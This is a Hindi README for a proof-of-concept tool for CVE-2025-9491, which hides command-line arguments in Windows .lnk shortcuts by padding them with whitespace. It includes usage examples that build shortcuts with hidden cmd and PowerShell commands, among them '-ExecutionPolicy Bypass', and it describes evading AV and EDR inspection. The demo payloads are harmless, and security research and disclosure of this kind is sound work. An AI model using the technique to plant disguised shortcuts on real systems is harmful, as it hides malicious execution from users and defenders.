
CVE-2025-9491 का प्रूफ-ऑफ-कॉन्सेप्ट जो विंडोज शॉर्टकट फ़ाइल (.lnk) के आर्गुमेंट्स में अदृश्य कैरेक्टर्स का उपयोग करता है
विंडोज शॉर्टकट (.lnk) फ़ाइल भेद्यता (ZDI-CAN-25373/CVE-2025-9491) प्रदर्शित करने के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट टूल। यह टूल दिखाता है कि कैसे ख़तरनाक कमांड-लाइन तर्कों को .lnk फ़ाइलों में व्हाइटस्पेस वर्ण पैडिंग का उपयोग करके छिपाया जा सकता है।
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। इस टूल का उपयोग केवल उन सिस्टमों पर करें जिनके आप मालिक हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति है।
यह विंडोज .lnk (शॉर्टकट) फ़ाइलों को बनाने और उनमें हेरफेर करने के लिए CVE-2025-9491 भेद्यता प्रदर्शित करने हेतु एक प्रूफ-ऑफ-कॉन्सेप्ट टूल है। यह टूल उपयोगकर्ताओं को निम्नलिखित की अनुमति देता है:
यह भेद्यता इस बात का शोषण करती है कि विंडोज शॉर्टकट फ़ाइल गुणों को कैसे प्रदर्शित करता है, जिससे हमलावर शॉर्टकट का निरीक्षण करने वाले उपयोगकर्ताओं से दुर्भावनापूर्ण कमांड-लाइन तर्कों को छिपा सकते हैं।
CVE-2025-9491 एक विंडोज UI गलत प्रस्तुतीकरण भेद्यता है जो .lnk (शॉर्टकट) फ़ाइलों को प्रभावित करती है। इसकी खोज Trend Micro के Zero Day Initiative (ZDI-CAN-25373) ने की थी और इसका उपयोग कम से कम 2017 से राज्य-प्रायोजित APT समूहों द्वारा शोषण के लिए किया जा रहा है (अतिरिक्त विवरण के लिए क्रेडिट देखें)।
यह भेद्यता विंडोज शॉर्टकट UI के निश्चित-आकार के "लक्ष्य" फ़ील्ड का शोषण करती है। तर्कों को व्हाइटस्पेस वर्णों (स्पेस, टैब, लाइन फीड, कैरिज रिटर्न) के साथ पैड करके, एक दुर्भावनापूर्ण अभिनेता दुर्भावनापूर्ण कमांड छिपा सकता है और छिपे हुए पेलोड को निष्पादित कर सकता है। इसका उपयोग पहचान से बचने के लिए भी किया जा सकता है, क्योंकि शॉर्टकट का निरीक्षण करने वाले उपयोगकर्ता वास्तविक कमांड के बजाय केवल पैड किए गए व्हाइटस्पेस को देखते हैं; EDR टेलीमेट्री में एक अत्यंत लंबी कमांडलाइन होगी, और यदि पर्याप्त लंबी हो, तो सामान्य EPP या AV इसे पूरी तरह पढ़ना छोड़ देगा।
Python 3.7 या उच्चतर आवश्यक है।
रिपॉज़िटरी को क्लोन या डाउनलोड करें:
git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
cd CVE-2025-9491_POC
निर्भरताएँ स्थापित करें:
Quick and dirty way, venv is prefered.
pip install -r requirements.txt
टूल चलाएँ:
python main.py --help
टूल के तीन मुख्य मोड हैं: create, obfuscate, और parse।
स्क्रैच से एक नई ऑफ़स्केटेड LNK फ़ाइल बनाएँ।
सिंटैक्स:
python main.py create -t TARGET -a ARGUMENTS -o OUTPUT [options]
आवश्यक तर्क:
-t, --target - लक्ष्य निष्पादन योग्य फ़ाइल का पथ-a, --arguments - लक्ष्य निष्पादन योग्य को दिए जाने वाले तर्क-o, --output - आउटपुट LNK फ़ाइल गंतव्यवैकल्पिक तर्क:
-c, --charset - पैडिंग के लिए कस्टम वर्णसेट (HEX प्रारूप में)
20,09,0A,0B,0C,0D (स्पेस, टैब, LF, VT, FF, CR)-s, --padding_size - पैडिंग वर्णों की संख्या
128 (कोई ज्ञात सीमा नहीं)-p, --pattern_type - पैडिंग पैटर्न शैली
-i, --icon - शॉर्टकट के लिए कस्टम आइकन का पथ
-d, --description - शॉर्टकट के लिए दृश्य विवरण
-v, --verbose - वर्बोज़ आउटपुट सक्षम करें
उदाहरण:
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v
मौजूदा LNK फ़ाइल के तर्कों में पैडिंग जोड़ें।
सिंटैक्स:
python main.py obfuscate -i INPUT -o OUTPUT [options]
आवश्यक तर्क:
-i, --input - ऑफ़स्केट करने के लिए मौजूदा LNK फ़ाइल का पथ-o, --output - आउटपुट LNK फ़ाइल गंतव्यवैकल्पिक तर्क:
-c, --charset - पैडिंग के लिए कस्टम वर्णसेट (HEX प्रारूप में)
20,09,0A,0B,0C,0D-s, --padding_size - पैडिंग वर्णों की संख्या
128-p, --pattern_type - पैडिंग पैटर्न शैली
-v, --verbose - वर्बोज़ आउटपुट सक्षम करें
उदाहरण:
python main.py obfuscate -i benign.lnk -o obfuscated.lnk -s 256 -p 3 -v
मौजूदा LNK फ़ाइल की सामग्री प्रदर्शित करें।
सिंटैक्स:
python main.py parse -i INPUT
आवश्यक तर्क:
-i, --input - पार्स और प्रदर्शित करने के लिए LNK फ़ाइल का पथउदाहरण:
python main.py parse -i output.lnk
python main.py create \
-t "cmd.exe" \
-a "/c powershell -Command Get-Process" \
-o malicious.lnk \
-s 200 \
-p 1 \
-v
यह cmd.exe के लिए एक शॉर्टकट बनाता है जिसमें छिपा हुआ PowerShell कमांड होता है, जिसके पहले 200 यादृच्छिक पैडिंग वर्ण होते हैं।
python main.py obfuscate \
-i "legitimate.lnk" \
-o "obfuscated.lnk" \
-s 512 \
-c "20,09,0A" \
-p 2
यह मौजूदा शॉर्टकट में 512 मोनो-पैटर्न पैडिंग वर्ण (स्पेस और टैब का उपयोग करके) जोड़ता है।
python main.py parse -i "suspicious.lnk"
आउटपुट में छिपे हुए तर्कों सहित सभी गुण दिखाई देते हैं।
python main.py create \
-t "powershell.exe" \
-a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
-o output.lnk \
-c "20,09,0A,0B,0C,0D" \
-s 1024 \
-p 3 \
-d "My Document"